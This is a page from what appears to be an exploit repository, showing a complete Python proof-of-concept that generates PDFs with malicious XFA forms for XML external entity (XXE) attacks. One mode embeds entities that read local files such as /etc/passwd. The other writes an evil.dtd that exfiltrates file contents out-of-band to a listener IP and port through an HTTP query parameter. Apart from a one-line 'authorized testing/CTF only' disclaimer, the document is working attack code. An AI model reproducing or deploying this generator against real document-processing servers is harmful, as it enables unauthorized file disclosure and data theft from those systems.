4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / xfa_xxe_poc_gen.py PY
# xfa_xxe_poc_gen.py
# Generate a PDF with a single-stream XFA form containing an XXE payload.
# Modes:
#   --mode file : local file read (file://...)
#   --mode oob  : out-of-band exfil using external DTD to bypass internal-subset PE rules (Xerces/Tika-safe)
#
# Examples:
#   python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
#   python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf
#   python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d
#
# For authorized testing/CTF only.

import argparse
from pathlib import Path

def build_valid_xfa_single_pdf(xfa_xml: str, out_path: str) -> None:
    parts = []
    parts.append(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n")
    xref_positions = []

    def offset() -> int:
        return sum(len(p) for p in parts)

    def add_obj(num: int, body: bytes):
        xref_positions.append(offset())
        parts.append(f"{num} 0 obj\n".encode("ascii"))
        parts.append(body)
        parts.append(b"\nendobj\n")

    add_obj(1, b"<< /Type /Catalog /Pages 2 0 R /AcroForm 4 0 R >>")
    add_obj(2, b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
    add_obj(3, b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << >> >>")

    x_bytes = xfa_xml.encode("utf-8")
    x_stream = f"<< /Length {len(x_bytes)} >>\nstream\n".encode("ascii") + x_bytes + b"\nendstream"
    add_obj(5, x_stream)

    add_obj(4, b"<< /NeedAppearances true /Fields [] /XFA 5 0 R >>")

    xref_start = offset()
    parts.append(b"xref\n")
    total = 5
    parts.append(f"0 {total+1}\n".encode("ascii"))
    parts.append(b"0000000000 65535 f \n")
    for pos in xref_positions:
        parts.append(f"{pos:010d} 00000 n \n".encode("ascii"))
    parts.append(
        f"trailer\n<< /Size {total+1} /Root 1 0 R >>\nstartxref\n{xref_start}\n%%EOF\n".encode("ascii")
    )

    with open(out_path, "wb") as f:
        f.write(b"".join(parts))


def build_file_read_xfa_xml(target_path: str) -> str:
    norm = target_path.replace("\\", "/")
    file_uri = f"file:///{norm.lstrip('/')}"
    return f"""<!DOCTYPE xfa [
  <!ENTITY xxe SYSTEM "{file_uri}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <xdp:template>
    <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
      <subform name="form1"><field name="field"/></subform>
    </template>
  </xdp:template>
  <xdp:datasets>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
      <xfa:data><root><field>&xxe;</field></root></xfa:data>
    </xfa:datasets>
  </xdp:datasets>
</xdp:xdp>
"""


def external_dtd_contents(ip: str, port: int, oob_file: str, param: str, scheme: str) -> str:
    oob_file_norm = oob_file.replace("\\", "/")
    oob_file_uri = f"file:///{oob_file_norm.lstrip('/')}"
    oob_url = f"{scheme}://{ip}:{port}/?{param}=%payload;"  

    return f"""<!ENTITY % payload SYSTEM "{oob_file_uri}">
<!ENTITY % make "<!ENTITY exfil SYSTEM '{oob_url}'>">
%make;
"""

def build_oob_xfa_xml(ip: str, port: int, param: str, scheme: str) -> str:
    dtd_url = f"{scheme}://{ip}:{port}/evil.dtd"
    return f"""<!DOCTYPE xfa [
  <!ENTITY % ext SYSTEM "{dtd_url}">
  %ext;
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <xdp:template>
    <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
      <subform name="form1"><field name="field"/></subform>
    </template>
  </xdp:template>
  <xdp:datasets>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
      <xfa:data><root><field>&exfil;</field></root></xfa:data>
    </xfa:datasets>
  </xdp:datasets>
</xdp:xdp>
"""

def main():
    p = argparse.ArgumentParser(description="Generate XFA XXE PoC PDF (single-stream XFA).")
    p.add_argument("--mode", choices=["file", "oob"], default="file",
                   help="file = local file read, oob = out-of-band via external DTD")
    p.add_argument("--file", dest="filepath", default="/etc/hosts",
                   help="Target file path (for --mode file). e.g. /etc/passwd or C:/Windows/win.ini")
    p.add_argument("--ip", default="127.0.0.1", help="Listener IP (for --mode oob)")
    p.add_argument("--port", type=int, default=8888, help="Listener port (for --mode oob)")
    p.add_argument("--scheme", default="http", choices=["http", "https"], help="Scheme for OOB endpoint")
    p.add_argument("--param", default="d", help="Query parameter key for exfil (default: d)")
    p.add_argument("--oob-file", default="/etc/hostname",
                   help="Local file to read during OOB exfil (default: /etc/hostname)")
    p.add_argument("--write-dtd", action="store_true",
                   help="Also write evil.dtd to the current directory (for hosting).")
    p.add_argument("-o", "--out", default=None, help="Output PDF filename")
    args = p.parse_args()

    if args.mode == "file":
        xfa_xml = build_file_read_xfa_xml(args.filepath)
        out = args.out or "xxe_xfa_single_file_ok.pdf"
        build_valid_xfa_single_pdf(xfa_xml, out)
        print(f"[+] Mode: file")
        print(f"[+] Target file : {args.filepath}")
        print(f"[+] Wrote       : {out}")
    else:
        xfa_xml = build_oob_xfa_xml(args.ip, args.port, args.param, args.scheme)
        out = args.out or "xxe_xfa_single_oob_ok.pdf"
        build_valid_xfa_single_pdf(xfa_xml, out)
        print(f"[+] Mode: oob")
        print(f"[+] OOB DTD URL: {args.scheme}://{args.ip}:{args.port}/evil.dtd")
        print(f"[+] Param key  : {args.param}")
        print(f"[+] Wrote      : {out}")
        if args.write_dtd:
            dtd = external_dtd_contents(args.ip, args.port, args.oob_file, args.param, args.scheme)
            Path("evil.dtd").write_text(dtd, encoding="utf-8")
            print("[+] Wrote evil.dtd with contents:")
            print("----- evil.dtd -----")
            print(dtd)
            print("--------------------")


if __name__ == "__main__":
    main()